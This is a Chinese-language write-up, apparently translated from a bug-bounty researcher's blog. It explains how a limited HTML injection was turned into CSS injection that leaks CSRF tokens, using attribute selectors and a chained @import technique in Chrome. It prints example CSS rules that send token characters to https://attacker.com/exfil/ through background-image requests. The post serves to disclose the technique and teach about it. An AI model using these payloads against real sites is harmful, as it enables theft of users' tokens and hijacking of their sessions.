html页面如何渗透,渗透技术再升级：如何利用HTML注入泄漏用户数据

本文主要详细分析了我如何重新发现一种漏洞利用技术，成功绕过现有的缓解措施，对目标产生了相当有限的影响，并获得了5位数的奖金。

启发：一个奇怪的HTML注入案例

André Baptista和Cache-Money正在研究一个非常奇怪的漏洞。这一漏洞最初是一个简单的字符集绕过，通过一系列疯狂的漏洞利用步骤后，演变成目标其他位置的HTML注入(不是完整的XSS)。这是一个非常酷的漏洞利用链，可以说这两位研究者已经取得了一定成绩，但要进行下一步利用，还存在一些问题。

在得知他们所取得的进展之后，我开始思考是否可以提供一些帮助，以提升这一漏洞的利用方式。目前，我们能确定的最严重的利用程度，是一次相对有效的点击劫持。0xACB(Andre)和Cache-Money有一个非常棒的思路，就是如何将更多的攻击链连接在一起，以潜在的实现高影响力，但我有一个不同的思路。

当我们确定，在默认情况下，DomPurify可以实现样式标记之后，我开始思考，是否可以利用CSS做更多事情，而不仅仅是操纵DOM。如果大家已经阅读过我之前的文章，想必已经了解，我对CSS注入漏洞利用比较熟悉。但遗憾的是，这个页面具有框架保护(Frame Protection)，需要一些用户交互来触发注入。如果我们想要泄漏敏感的信息，似乎需要很长的时间来实现，可能需要很多天。当然，这是一个弱的，且容易出现问题的攻击方式，并且最多我们只能获得小4位数的奖金。

我需要一种方法来实现对浏览器的攻击，并且这种方式最好无需重新加载、iframe或其他用户交互。由此，我重新评估了多个CSS Payload，并尝试进行类似这样的攻击。此外，由于对可以注入的Payload的长度有限制，所以能够更进一步。于是，我开始考虑一些值得关注的CSS功能特性，在@import之前，似乎不可能只使用标签来实现利用。

CSS注入入门

在深入了解该漏洞利用技术之前，我想先花费一小段时间，来描述一下CSS注入中使用的传统Token渗透技术。如果各位读者已经熟悉，请直接跳到下一章。此外，在我之前的博客文章中更加深入地介绍了该技术。

传统的CSS注入Token渗透技术，依赖于称为属性选择器(Attribute Selectors)的CSS特性。如果该元素的属性满足选择器指示的条件，那么属性选择器将允许开发人员指定特定样式，该特定样式仅应用于该元素。

我们可以利用属性选择器，创建仅在某些条件下应用于页面上敏感元素的规则。然后，我们可以使用像background-image这样的属性，使浏览器在应用这些样式时调用攻击者控制的系统。这样一来，我们便可以建立一个驱使Token泄漏的反馈循环。

input[name=csrf][value^=a]{

background-image: url(https://attacker.com/exfil/a);

}

input[name=csrf][value^=b]{

background-image: url(https://attacker.com/exfil/b);

}

/* ... */

input[name=csrf][value^=9]{

background-image: url(https://attacker.com/exfil/9);

}

在这一示例中，我们告诉浏览器“如果CSRF Token以a开头，那么就将背景图像设置为https://attacker.com/exfil/a上的图像”。随后，我们对Token可能存在的所有起始字母重复这一规则(a、b、c……7、8、9等)。

一旦我们知道了Token的第一个字符是什么，我们就可以再次执行攻击(通常使用iframe)，我们需要稍微修改一下Payload。

input[name=csrf][value^=ca]{

background-image: url(https://attacker.com/exfil/ca);

}

input[name=csrf][value^=cb]{

background-image: url(https://attacker.com/exfil/cb);

}

/* ... */

input[name=csrf][value^=c9]{

background-image: url(https://attacker.com/exfil/c9);

}

在此示例中，我们假设CSRF Token的第一个Token是c。通过这种方式，我们可以重新运行先前的规则，来确定CSRF Token的第二个字符，但所有Token都以c为开头。

该技术的先决条件如下：

1. CSS注入需要允许足够长的Payload；

2. 需要能够构建页面以触发CSS重新评估新生成的Payload；

3. 需要能够使用外部托管的图像(可能被CSP阻止)。

这意味着，如果注入不允许足够大小的Payload，或者页面不允许使用框架，那么这种技术将不适用。在我们的例子中，就无法使用这种技术，因为存在框架的缓解，并且我们实际可以注入的字符数量是有限的。

找到救星：@import

许多编程语言都可以从其他源文件导入代码，CSS也不例外。尽管许多人可能只知道，但CSS本身实际上有一种方法可以使用名为@import的at-rule执行类似(但不同)类型的样式表包含。

在大多数情况下，@import执行将获取的样式表直接交换到当前样式表中。这允许开发人员引入外部样式，同时覆盖@import行下面的外部资源中定义的任何不需要的指令。

在某些浏览器(即Chrome)中实现此功能，存在另一个值得关注的副作用，外部资源可以与浏览器并行获取，同时处理样式表的其余部分。我的理解是，这种行为增加了页面的TTI，同时试图减轻“无格式内容的闪烁”(Flashed of Unstyled Content，参考：FOUC问题)，但它在实际的漏洞利用中有所帮助。

想象一下，我们有一个包含以下样式表的网页：

@import url(http://laggysite.com/base.css);

* { color: red; }

Chrome会通过3个步骤处理此样式表：

1. 向http://laggysite.com/base.css发出请求

2. 评估剩余的指令(apply * { color: red; })

3. 当http://laggysite.com/base.css返回时，将响应替换为样式表，并重新评估样式表。

当@import目标响应模拟与原有技术中iframe所需的相同“控制重新评估CSS”行为的能力时，我们可以利用这种浏览器的行为，来重新评估样式表。我们使用@import的唯一要求是，我们必须可以控制样式标记的开头部分，因为这实际上是要实现HTML注入。

为此，我们将在样式表中创建一些@import规则，让我们的服务器保持所有连接的开启。然后，我们使用标准的CSS注入Token exfil Payload，从target属性中提取第一个Token。在我们的服务器从后台样式接收到这一Token之后，我们就可以生成下一个Token exfil Payload，并使用新创建的Payload响应下一个待处理的@import规则。